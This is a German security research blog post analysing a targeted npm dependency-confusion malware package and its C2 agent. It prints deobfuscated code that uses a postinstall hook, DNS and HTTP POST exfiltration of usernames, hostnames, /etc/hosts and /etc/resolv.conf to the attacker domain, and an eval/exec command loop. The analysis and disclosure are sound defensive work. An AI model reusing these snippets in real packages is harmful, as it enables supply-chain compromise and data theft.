Gezielter npm-Dependency-Confusion-Angriff auf frischer Tat ertappt

Zeitlicher Ablauf der Angriffsaufklärung

• 10. Mai 2022: CodeWhite, ein Red-Team-Sicherheitsunternehmen, kontaktierte uns auf Twitter und übernahm die Verantwortung für die schädlichen Pakete. Das Unternehmen erklärte, sie seien Teil einer Angriffssimulation für seine Kunden gewesen – Hut ab vor diesem ausgeklügelten Angriff!

• 4. Mai 2022: DigitalOcean meldete zurück, dass die C2-IP zu einem sicherheitsbezogenen Unternehmen gehört und man der Sache nachgehen und uns benachrichtigen werde.

• 1. Mai 2022: npm entfernte die schädlichen Pakete aus der Registry.

Die Geschichte einer npm-Malware

In den vergangenen Jahren haben wir einen kontinuierlichen Anstieg schädlicher Pakete in verschiedenen Ökosystemen beobachtet. Im Allgemeinen sind die allermeisten dieser Pakete harmlos: Sie sammeln Informationen, richten aber keinen Schaden auf dem infizierten Rechner an. Hin und wieder stoßen wir jedoch auf ein wirklich bösartiges Paket, das zielgerichtet, leistungsfähig und produktionsreif ist – dies ist die Geschichte eines solchen Pakets.

Echte Malware in npm finden

Das Snyk-Security-Research-Team konzentriert sich darauf, schädliche Pakete proaktiv zu erkennen. Unser wichtigstes Ziel ist es, Pakete so schnell wie möglich nach ihrem Auftauchen in der Registry eines Ökosystems zu scannen und vor ihnen zu warnen. Dafür haben wir ein robustes System mit verschiedenen Mechanismen zur Erkennung schädlicher Pakete entwickelt.

Schon kurz nachdem wir unsere Falle für schädliche Pakete aufgestellt hatten, wurden uns zahlreiche Bibliotheken als schädlich gemeldet. Bei näherer Untersuchung stellten wir jedoch fest, dass viele Meldungen sogenannte „mild schädliche“ Pakete betrafen.

Als „mild schädlich“ bezeichnen wir Pakete, die eines der folgenden Dinge tun:

• Exfiltration rechnerbezogener Informationen über DNS-Abfragen (ohne weitere Aktionen)

• Krypto-Miner (die zwar schlecht, aus Sicht der Malware-Forschung aber nicht besonders interessant sind)

• „Mild schädliche“ Pakete anderer Forschender, die hauptsächlich zu Testzwecken dienen

• Einige weitere Varianten der in dieser Liste aufgeführten Punkte

Schließlich stießen wir auf ein sehr interessantes Paket – gxm-reference-web-auth-server – und stuften es als schädlich ein. Wir sahen es uns kurz an und bemerkten, dass etwas anders war. Also starteten wir eine VM und untersuchten das Tar-Archiv.

Da sich die Meldung auf ein npm-Paket bezog, sahen wir uns zuerst die Datei `package.json` an. Wie erwartet enthielt sie ein Post-Install-Skript, das eine JavaScript-Datei aus dem Paket aufrief. Falls Ihnen das nicht geläufig ist: Post-Install-Skripte sind eine sehr verbreitete Methode, Skripte auszuführen, sobald npm die entsprechenden Abhängigkeiten installiert hat. Sie bieten außerdem eine einfache Möglichkeit für Angreifer, Skripte auf den Rechnern ihrer Opfer auszuführen.

Die aufgerufene Datei war verschleiert. Verschleierung ist jedoch nur eine vermeintlich raffinierte Art, Code zu „verstecken“. In Wirklichkeit lässt sich der Code meist relativ einfach wiederherstellen (zumindest in der JavaScript-Welt).

Als Nächstes fiel uns eine verschlüsselte Datei im Paket sofort ins Auge. Unsere Spürnasen schlugen Alarm – Zeit, der Sache auf den Grund zu gehen.

Reverse Engineering von Malware, Teil 1: der Wrapper

Wie bereits erwähnt, enthielt das Paket zwei weitere Dateien – eine verschleierte und eine verschlüsselte:

1root@3b869b434e7d:/tmp# tar -tvf ./gxm-reference-web-auth-server-1.33.8.tgz
2-rw-r--r-- 0/0           19023 1985-10-26 08:15 package/confsettingsaaa.js
3-rw-r--r-- 0/0           97136 1985-10-26 08:15 package/obfusc.enc.js
4-rw-r--r-- 0/0             393 1985-10-26 08:15 package/package.json
5
6# unpacked the tar and:
7root@3b869b434e7d:/tmp/package# file ./*
8./confsettingsaaa.js: ASCII text, with very long lines
9./obfusc.enc.js:      data
10./package.json:       JSON data

Außerdem enthielt die package.json ein Post-Install-Skript:

1{
2  "name": "gxm-reference-web-auth-server",
3  "version": "1.33.8",
4  "description": "",
5  "main": "index.js",
6  "scripts": {
7    "postinstall": "node confsettingsaaa.js",
8    "test": "echo \"Error: no test specified\" && exit 1"
9  },
10  "keywords": [],
11  "dependencies": {
12    "axios": "0.26.0",
13    "targz": "1.0.1",
14    "ldtzstxwzpntxqn": "^4.0.0",
15    "lznfjbhurpjsqmr": "^0.5.57",
16    "semver": "7.3.5"
17  },
18  "author": "",
19  "license": "ISC"
20}

Zunächst konzentrierten wir uns auf das aufgerufene Skript. Dabei fielen uns auch die beiden kryptisch benannten Abhängigkeiten ldtzstxwzpntxqn und lznfjbhurpjsqmr auf, die wir später in diesem Artikel genauer untersuchen.

Als wir die Datei confsettingsaaa.js untersuchten, fanden wir Folgendes:

1root@3b869b434e7d:/tmp/package# cat confsettingsaaa.js
2const a0_0x489fde=a0_0x5400;(function(_0x552d48,_0x2cc03c){const _0x462334=a0_0x5400,_0x2fedb3=_0x552d48();while(!![]){try{const _0x5c5667=-parseInt(_0x462334(0x167))/0x1*(-parseInt(_0x462334(0x10b))/0x2)+-parseInt(_0x462334(0x116))....... # trimmed

Um diese Datei verständlich zu machen, verwendeten wir einen Deobfuscator. Beim Durchgehen des Codes stellten wir fest, dass die Datei – im Folgenden P1 genannt, da sie Teil 1 der Malware ist – Informationen über das Betriebssystem und das Paket über gefälschte Subdomain-Abfragen an pkgio[.]com exfiltriert:

1telemetry = '.pkgio.com'
2dns.lookup(
3  replace_special_chars(os.userInfo().username) +
4  '.' +
5  replace_special_chars(os.hostname()) +
6  '.h' +
7  telemetry,
8  (err, ip_addr, ip_ver) => {
9      err && console.log(err.message)
10  }
11)
12var localpack = fs.readFileSync(
13  path.join(process.cwd(), 'package.json'),
14  'utf8'
15)
16nameresolved = JSON.parse(localpack).name
17dns.lookup(
18  replace_special_chars(nameresolved) + '.n' + telemetry,
19  (err, ip_addr, ip_ver) => {
20      err && console.log(err.message)
21  }
22)
23process.env.NO_PROXY &&
24dns.lookup(
25  replace_special_chars(process.env.NO_PROXY) + '.p' + telemetry,
26  (err, ip_addr, ip_ver) => {
27      err && console.log(err.message)
28  }
29)

Dieser Code exfiltriert zwar lediglich Daten, und man könnte annehmen, dass er keinen Schaden anrichtet. Doch diese Exfiltrationen sind für die Aufklärung des Angreifers wertvoll, da sie ihm helfen, das Ziel und dessen Konfiguration zu identifizieren. DNS-Abfragen werden von Angreifern übrigens missbraucht, weil solche Abfragen üblicherweise Firewalls und Netzwerkfilter passieren dürfen. So können Angreifer ihre eigenen DNS-Server abfragen und die Anfragen protokollieren.

Im weiteren Verlauf der Datei wurde es interessanter. Zunächst riefen alle try/catch-Blöcke, wenn sie eine Ausnahme abfingen, eine `fail`-Funktion auf. Außerdem stellten wir fest, dass das Skript eine seiner Abhängigkeiten verwendete: lznfjbhurpjsqmr.

Bevor wir die (beiden) Abhängigkeiten erläutern, sehen wir uns zunächst die Funktion (oder den Mechanismus) fail an. Beim Aufruf tut sie im Wesentlichen zwei Dinge. Erstens beseitigt sie ihre Spuren: Die Funktion „fail“ entfernt alle zum Paket gehörenden Dateien und räumt auf:

1function fail() {
2  try {
3      fs.unlink(path.join(process.cwd(), 'package.json'), (cb) => {
4      })
5      fs.unlink(path.join(process.cwd(), 'confsettingsaaa.js'), (cb) => {
6      })
7      fs.existsSync('mac.enc.js') &&
8      fs.unlink('mac.enc.js', (cb) => {
9          if (cb) {
10          }
11      })
12      fs.existsSync('mac.dec.js') &&
13      fs.unlink('mac.dec.js', (cb) => {
14      // ...more like this

Für Malware ist das ein raffinierter Mechanismus. Der nächste Schritt war jedoch alarmierend.

Nach dem Aufräumen erstellt die Funktion Lockvogel-package.json- und index.js-Dateien und gibt die folgende Meldung in der Konsole aus: „Bitte verwenden Sie statt des öffentlichen Repositorys die private Registry; Security Team“

1fs.writeFileSync(
2  'package.json',
3  '{\n    "name": "' +
4  mypackage + // mypackage = 'gxm-reference-web-auth-server'
5  '",\n    "version": "' +
6  triggerversion + // the current package version
7  '",\n    "description": "",\n    "main": "index.js",\n    "scripts": {\n      "test": "echo \'Error: no test specified\' && exit 1"\n    },\n    "keywords": [],\n    "author": "",\n    "license": "ISC"\n  }\n  '
8)
9fs.writeFileSync(
10  'index.js',
11  "console.log('Please refer to the private registry instead of the public repo; Security Team');\nprocess.exit(-1);\n  "
12)
13console.log(
14  'Please refer to the private registry instead of the public repo; Security Team'
15)
16process.exit(-1)

Nach der Lektüre stellten sich uns einige Fragen: Warum löscht sich das schädliche Paket nicht vollständig selbst? Warum gibt es vor, ein legitimer Platzhalter eines Sicherheitsteams zu sein? Auf welche Organisation zielt dieses Paket ab?

Die meisten dieser Fragen konnten wir beantworten. Trotz aller Bemühungen, das Ziel zu identifizieren und zu warnen, konnten wir zu diesem Zeitpunkt jedoch nicht feststellen, welche Organisation angegriffen wurde. Behalten wir diese Fragen im Hinterkopf und fahren fort.

Die Abhängigkeiten: ldtzstxwzpntxqn und lznfjbhurpjsqmr

Wie oben aufgeführt, installiert das Paket zwei Abhängigkeiten: ldtzstxwzpntxqn und lznfjbhurpjsqmr. Auf ihren npm-Seiten sahen wir, dass beide vom selben Maintainer veröffentlicht wurden. So sah dessen Profil aus:

Das war interessant und bestätigte einige unserer Vermutungen über die Pakete. Die Abhängigkeiten selbst waren jedoch lediglich Kopien legitimer Pakete:

Wie wir später bei der Prüfung des restlichen Codes bestätigten, wurden diese Pakete tatsächlich wie die Originalpakete verwendet. Warum hat sich der Angreifer die Mühe gemacht, diese Pakete zu erstellen, statt die Originale zu nutzen? Wir wissen es nicht und werden es vermutlich nie erfahren.

Opfer filtern, private Registrys und der Übergang zu P2

Ein paar kurze Hinweise …

1. Wenn wir im folgenden Abschnitt schreiben, dass „der Code abbricht“, bedeutet das, dass die oben beschriebene Funktion fail zum Aufräumen aufgerufen wurde.

2. Da sich nicht feststellen lässt, welche Organisation angegriffen wird, bezeichnen wir sie als ORG.

Als Nächstes ruft P1 die Autorisierungskonfiguration für private Registrys aus der Datei .npmrc ab (hier kommt lznfjbhurpjsqmr zum Einsatz). Findet der Code weder eine solche Konfiguration noch die entsprechende Datei (er sucht auf dem gesamten Rechner danach), bricht er ab.

Findet der Code solche Autorisierungsinformationen, versucht er, dasselbe Paket (mit demselben Namen) aus der in der Konfigurationsdatei angegebenen privaten Registry herunterzuladen. Dabei probiert er einige Varianten aus, zum Beispiel:

1@ORG/gxm-reference-web-auth-server, ORG/gxm-reference-web-auth-server and gxm-reference-web-auth-server

Findet der Code diese Varianten nicht in der privaten Registry oder schlägt der Download fehl, bricht er ab. Kann er das Tar-Archiv aus der privaten Registry herunterladen, führt er Folgendes aus:

1. Das Modul mit npm install in einem Unterverzeichnis namens .documentation installieren (die Installation erfolgt über die Abhängigkeit ldtzstxwzpntxqn) oder abbrechen.

2. Den aktuellen Paketinhalt durch den Inhalt des neu installierten Pakets ersetzen oder abbrechen.

3. Den Inhalt zweier netzwerkbezogener Dateien sowie die neue package.json per POST-Anfrage exfiltrieren:

1topostfiles = ['package.json', '/etc/hosts', '/etc/resolv.conf']
2for (var entry of topostfiles) {
3  if (fs.existsSync(entry)) {
4      contents = fs.readFileSync(entry, {encoding: 'base64'})
5      try {
6          axios({
7              method: 'post',
8              url: 'https://www' + telemetry + '/' + entry,
9              data: {data: contents},
10              httpsAgent: agent,
11              maxBodyLength: Infinity,
12              maxContentLength: Infinity,// …

4. Die verschlüsselte Datei entschlüsseln und in einem neuen, abgekoppelten Prozess aufrufen (Verschlüsselungsalgorithmus, Schlüssel und IV waren fest im Code hinterlegt; mehr zu dieser Datei im nächsten Abschnitt):

1try {
2  const child_proc = spawn('node', ['obfusc.dec.js'], {
3      cwd: process.cwd(),
4      detached: true,
5      stdio: 'ignore',
6      windowsHide: true,
7  })
8  child_proc.on('error', (err) => {
9  })
10  child_proc.unref()
11// ...

5. Alle relevanten Dateien bereinigen (dabei werden nur die verschlüsselten Dateien und der P1-Code entfernt)

6. Beenden.

Daraus wird ersichtlich: Befindet sich das Paket gxm-reference-web-auth-server nicht in der privaten Registry des Ziels oder ist diese nicht erreichbar, überspringt die Malware das Ziel.

Das lässt folgende Schlüsse zu:

1. Das Paket zielt auf eine bestimmte Organisation ab.

2. Der Angreifer hinter diesen Paketen weiß, dass sich dieses Paket in der privaten Registry der Organisation befindet.

Damit sind alle Schritte von P1 abgeschlossen, und der „Malware-Wrapper“ wird beendet.

Reverse Engineering von Malware, Teil 2: der Agent

Da der Wrapper die Informationen zum Entschlüsseln der Datei fest im Code hinterlegt hatte (vermutlich ein Fehler des Angreifers), konnten auch wir sie entschlüsseln – und genau das taten wir.

Wie der Wrapper war auch diese Datei verschleiert und bestand aus einer einzigen Zeile kryptischer Zeichen. Diesmal hatte der Deobfuscator jedoch größere Schwierigkeiten und hinterließ Code voller Rätsel:

1(() => {
2
3  // IMO webpack stuff?
4  function _0xa77521(_0x323c64) {
5      var _0x573f49 = _0x44b56a[_0x323c64]
6      if (void 0 !== _0x573f49) {
7          return _0x573f49.exports
8      }
9      var _0x3a5d0d = (_0x44b56a[_0x323c64] = {exports: {}})
10      return (
11          _0x1cc104[_0x323c64](_0x3a5d0d, _0x3a5d0d.exports, _0xa77521),
12              _0x3a5d0d.exports
13      )
14  };
15// ...

Wir probierten einige andere Deobfuscatoren aus, doch keiner lieferte ein besseres Ergebnis. Also blieben wir beim ursprünglichen Resultat und machten uns an die manuelle Entschleierung. Nach einigem Aufwand konnten wir die Datei in eine für Menschen lesbare Form bringen. Zeit, einen Blick auf die Funktionsweise des Agents zu werfen.

Agent-Registrierung

Als Erstes soll sich der Agent beim Command-and-Control-Server registrieren (bezeichnet als CNC oder C2). Dadurch erhält er drei wichtige Zeichenfolgen für die spätere Kommunikation: einen Schlüssel und einen IV zur Verschlüsselung von Payloads sowie eine UUID.

1async function init_agent() {
2  try {
3      axios({
4          method: 'POST',
5          url: c2_server + '/register',
6          data: {engine: 'nodejs'},
7          headers: {'User-Agent': useragent},
8          httpsAgent: httpsAgent,
9      }).then(function (response) {
10              key = response.data.key,
11              iv = response.data.iv,
12              uuid = response.data.uuid,
13// ...

Nach Abschluss dieser Anfrage werden alle folgenden Kommunikationen zwischen dem C2-Server und dem Agent mit diesen Schlüsseln und dem IV verschlüsselt beziehungsweise entschlüsselt (der Algorithmus war fest im Code hinterlegt). Direkt nach dieser Anfrage sendet der Agent eine POST-Anfrage mit Informationen über seine Umgebung an den Server:

1// ​​...
2key = response.data.key,
3  iv = response.data.iv,
4  uuid = response.data.uuid,
5  os_platform = os.platform(),
6  os_arch = process.arch,
7  env = JSON.stringify(process.env),
8  node_version = process.version,
9  os_username = os.userInfo().username,
10  hostname = os.hostname
11datajson = {
12  platform: os_platform,
13  architecture: os_arch,
14  version: node_version,
15  user: os_username,
16  hostname: hostname,
17  environment: env,
18  engine: 'nodejs',
19}
20datastring = JSON.stringify(datajson)
21encryptdata = encrypt(key, iv, datastring)
22axios({
23  method: 'post',
24  url: c2_server + '/updateinfosnodejs',
25  data: {
26      identity: uuid,
27      data: encryptdata,
28  },
29  headers: {'User-Agent': useragent},
30  httpsAgent: httpsAgent,
31// ...

Nach dem Senden dieser Anfrage fährt der Agent mit dem nächsten Schritt fort.

Die Ausführungsschleife

Die Ausführungsschleife des Agents ist recht einfach aufgebaut. Sie enthält einige if-else-Abfragen für verschiedene Befehle und führt diese entsprechend den Vorgaben des C2-Servers aus. So kann der Agent sich beispielsweise selbst löschen, wenn er den Befehl delete erhält, oder einen Codeausschnitt ausführen, den der C2-Server sendet:

1// ...
2try {
3  if (
4      ((response = ''), await sleep(agent_sleep), "delete" == command_type)
5  ) {
6      return false  // agent lives as a process, so a “return” equals termination
7  }
8  if ('exec' == command_type || "eval" == command_type) {
9      try {
10          response = eval(payload)
11      } catch (error) {
12          response = error.message
13      }
14  } else { // data and file exfiltration
15      if ('upload' == command_type) {
16// ...

Zusammengefasst reagiert der Agent auf folgende Befehle:

1["download", "upload", "exec", "eval", "delete", "register"] 

Beachten Sie bei dieser Liste, dass exec oder eval eine Reverse Shell ausführen können, die dem Angreifer vollständige Kontrolle über den infizierten Rechner gibt. Außerdem kann die Option register bei erneutem Aufruf dem Agent und dem C2-Server helfen, ihre Verschlüsselungsinformationen auszutauschen und neue Informationen zu generieren, falls sie diese ändern möchten.

Diese Funktionen mögen einzigartig oder ausgefeilt wirken. In der Welt der C2-Agents gehören sie jedoch zur Standardausstattung eines Agents, den man auf dem Rechner eines Opfers installiert. Dennoch konnten wir den Quellcode des Agents keinem bekannten C2-Framework zuordnen.

Fazit zur Malware

Nachdem wir die Malware vollständig analysiert haben, können wir Folgendes festhalten:

1. Die Malware zielt auf ein einziges, bislang unbekanntes Unternehmen ab. Den Erkenntnissen aus dem Reverse Engineering zufolge dürfte dieses Unternehmen das Paket „gxm-reference-web-auth-server“ in seiner privaten Registry haben.

2. Da das Paket in der privaten Registry des Opfers nach sich selbst sucht, lässt sich der Angriff auch als Dependency-Confusion-Angriff einordnen – eine Form des Supply-Chain-Angriffs.

3. Der Angreifer oder die Angreifer verfügten wahrscheinlich über Informationen zum Vorhandensein eines solchen Pakets in der privaten Registry des Unternehmens.

Obwohl wir inzwischen genau verstanden hatten, wie das Paket funktioniert, wollten wir herausfinden, ob der C2-Server antwortet und ob es sich um eine aktive Kampagne handelt. Zeit, den Eindringling zu spielen.

„Among Us“ mit einem Angreifer spielen

Die Idee für unser nächstes Experiment war einfach. Wir wollten herausfinden, ob sich am anderen Ende der Leitung jemand befindet und, falls ja, ob die Person aktiv ist. Dazu mussten wir Folgendes tun:

1. Den Agenten ohne Wrapper verwenden (P1 würde unseren Client aufgrund fehlender .npmrc-Anmeldedaten herausfiltern usw.)

2. Den gesamten HTTP/S-Datenverkehr abfangen und protokollieren (wir wollten sehen, was der C2-Server sendet und empfängt)

3. Die protokollierten Daten unidirektional, unumkehrbar und nicht zurückverfolgbar an uns übertragen (wichtig, da auch der Angreifer auf die Maschine zugreifen kann!)

Doch bevor wir diese Schritte unternahmen, wollten wir einige Informationen über den Server selbst sammeln.

Ist da jemand?

Wir sammelten mithilfe standardmäßiger WHOIS- und Nmap-Scans Informationen über den Server. Die WHOIS-Ergebnisse zeigten, dass der Server bei DigitalOcean gehostet wird (dem wir die IP-Adresse des Servers gemeldet haben). Die Nmap-Scans ergaben Folgendes:

1PORT     STATE SERVICE    VERSION
222/tcp   open  ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
32000/tcp open  tcpwrapped
43306/tcp open  mysql      MySQL 5.5.5-10.1.35-MariaDB-1
55060/tcp open  tcpwrapped
68080/tcp open  http       Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
78443/tcp open  ssl/http   Apache httpd
8Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Der Server ist nicht wirklich sicher, aber aktiv und lauscht.

Der Hochstapler

Zurück zu unserem Plan: Wir mussten Folgendes vorbereiten:

1. Agent-Code: Diesen hatten wir aus der Entschlüsselungsphase und konnten ihn unabhängig vom Wrapper (P1) ausführen.

2. Interceptoren: Diese mussten in der NodeJS-Umgebung implementiert werden, da der Agent selbst die HTTP/S-Module von NodeJS verwendete.

3. Protokollierungs-Pipeline: Wir entschieden uns für €‹ €‹Pipedream, da sich damit HTTP/S-Anfragen sehr granular verarbeiten lassen und bereits verschiedene Integrationen verfügbar sind (z. B. Wert-Speicherung, Slack-Integration und mehr).

Zum Abfangen verwendeten wir die Bibliothek @gr2m/http-recorder, die genau das leistete, was wir wollten: HTTP/S-Anfragen vollständig erfassen und bearbeiten.

Durch die Kombination der Schritte 1 und 2 erhielten wir folgendes Snippet:

1httpRecorder.start();
2httpRecorder.addListener(
3  'record',
4  ({request, response, requestBody, responseBody}) => {
5
6      if (request.host === hostname) { // we emit http requests as well, but don't want to loop infinitely
7          return;
8      }
9
10      const buffer = [];
11
12      const {method, protocol, host, path} = request;
13      const reqHeaders = request.getHeaders();
14
15      buffer.push({
16          type: 'request',
17          method,
18          protocol,
19          host,
20          path,
21          headers: reqHeaders,
22          body: Buffer.concat(requestBody).toString()
23      })
24      const {statusCode, statusMessage, headers: responseHeaders} = response;
25      buffer.push({
26          type: 'response',
27          statusCode,
28          statusMessage,
29          headers: responseHeaders,
30          body: Buffer.concat(responseBody).toString()
31      })
32
33      send(Buffer.from(JSON.stringify(buffer)).toString('base64'))
34  }
35);
36console.log('[+] Invoking malware...');
37require('./mal') // here we invoke the agent itselfconsole.log('[+] Malware running! ☠');

Jetzt mussten wir es nur noch an uns senden. Mit Pipedream ließen wir die Funktion send die Nutzdaten an unseren Endpunkt übertragen, wo wir sie verarbeiten konnten.

Für die Verarbeitung speicherten wir den IV und den Schlüssel, um Nachrichten entschlüsseln zu können. Außerdem verknüpften wir die Pipedream-Pipeline mit einem anonymen Slack-Arbeitsbereich und ließen die Nachrichten dort protokollieren. So erhielten wir jedes Mal, wenn der Agent und der C2-Server Nachrichten austauschten, eine Slack-Benachrichtigung mit allen entschlüsselten und lesbaren Informationen. Unten sehen Sie eine Darstellung unseres Setups mit der infizierten Maschine:

Und hier ein Beispiel für die Ausgabe in Slack:

Und damit war unser Pseudo-Honeypot einsatzbereit.

Hallo, ich bin's

Schon kurz nachdem unser gefälschter Agent aktiv war und mit dem C2-Server kommunizierte, trafen Befehle ein. Der erste Befehl war ein ls. Anschließend versuchte der Akteur, mit cat alle sichtbaren Dateien auszulesen und das System zu durchforsten. Hier ein Beispiel für einen der empfangenen Befehle (nach der Base64-Dekodierung):

An diesem Punkt beschlossen wir, das Experiment abzubrechen, da wir unser Ziel erreicht hatten: herauszufinden, ob sich am anderen Ende jemand befand.

Das deutet auf eine aktive Kampagne gegen die Eigentümer des ursprünglichen bzw. privaten „gxm-reference-web-auth-server“ hin.

Aber warten Sie, es kommt noch mehr

Kurz bevor wir unser Experiment abschlossen, fiel uns etwas Interessantes auf. Abgesehen von der C2-Adresse gab es nur wenige weitere fest codierte Werte. Einer davon war der Wert der Eigenschaft „engine“ im initialen /register-Aufruf:

1async function init_agent() {
2  try {
3      axios({
4          method: 'POST',
5          url: c2_server + '/register',
6          data: {engine: 'nodejs'}, // ← but why?
7          headers: {'User-Agent': useragent},
8          httpsAgent: httpsAgent,
9      }).then( // … )

Da es uns nun egal war, unentdeckt zu bleiben, beschlossen wir, den Wert per Fuzzing zu testen, um herauszufinden, ob es noch andere Zieltypen gab. Nach einer Weile fanden wir weitere Engine-Typen:

1root@3b869b434e7d:/tmp/package# ./opts.sh
2[!] response for engine = nodejs
3{"iv":"jFhDrjFWaCGFjZJE","key":"FsEAsoiDWzYJwrNIgYoonpTRmQhzJvcl","uuid":"a8381854-2986-4754-8cbe-dbf5c0bcb8dd"}
4
5[!] response for engine = go
6{"iv":"dqgIwAQoYKPsziVz","key":"VucfFKCVOFpdkgobVpDjbNXojwPmvbNm","uuid":"5280d805-08cf-4b9e-9bd5-fbe85f5d5014"}
7
8[!] response for engine = browser
9{"uuid":"f820fc90-9618-4d90-9991-9d70cdc1d4f8"}

Das deutet darauf hin, dass es mindestens einen Browser-Agenten und einen Golang-Agenten gibt. Es ist durchaus denkbar, dass es noch weitere gibt.

Offenlegung und nächste Schritte

Obwohl wir die Funktionsweise dieser Malware kennen, können wir nicht sagen, welche Organisation oder welches Unternehmen angegriffen wird. Deshalb möchten wir diese Plattform (sowie Twitter usw.) nutzen, um die Community aufzufordern, andere vor diesem Paket zu warnen und sich warnen zu lassen. Bei Fragen oder Bedenken dazu können Sie sich gern an uns wenden (oder uns eine Direktnachricht an @snyksec senden).

Wir haben uns außerdem an DigitalOcean gewandt und darum gebeten, den C2-Server aus ihrem Dienst zu entfernen. Auch npm haben wir über die schädlichen Pakete informiert und um deren Entfernung gebeten.

Damit endet unsere Untersuchung. Da Angriffe komplex und ausgeklügelt sind, möchten wir darauf hinweisen, dass der ursprüngliche Angriffsvektor eine einfache Verwechslung von Paketabhängigkeiten ist, die sich leicht entschärfen lässt. Den vollständigen Ablauf dieses Angriffs sehen Sie sich in der Abbildung unten an. Bleiben Sie wachsam und schützen Sie sich!